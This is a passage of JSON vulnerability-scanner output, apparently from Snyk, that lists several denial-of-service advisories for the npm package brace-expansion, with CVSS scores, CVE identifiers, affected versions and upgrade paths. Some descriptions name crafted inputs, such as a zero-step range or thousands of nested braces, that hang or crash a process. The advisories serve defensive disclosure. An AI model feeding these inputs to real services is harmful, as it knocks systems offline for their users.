"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
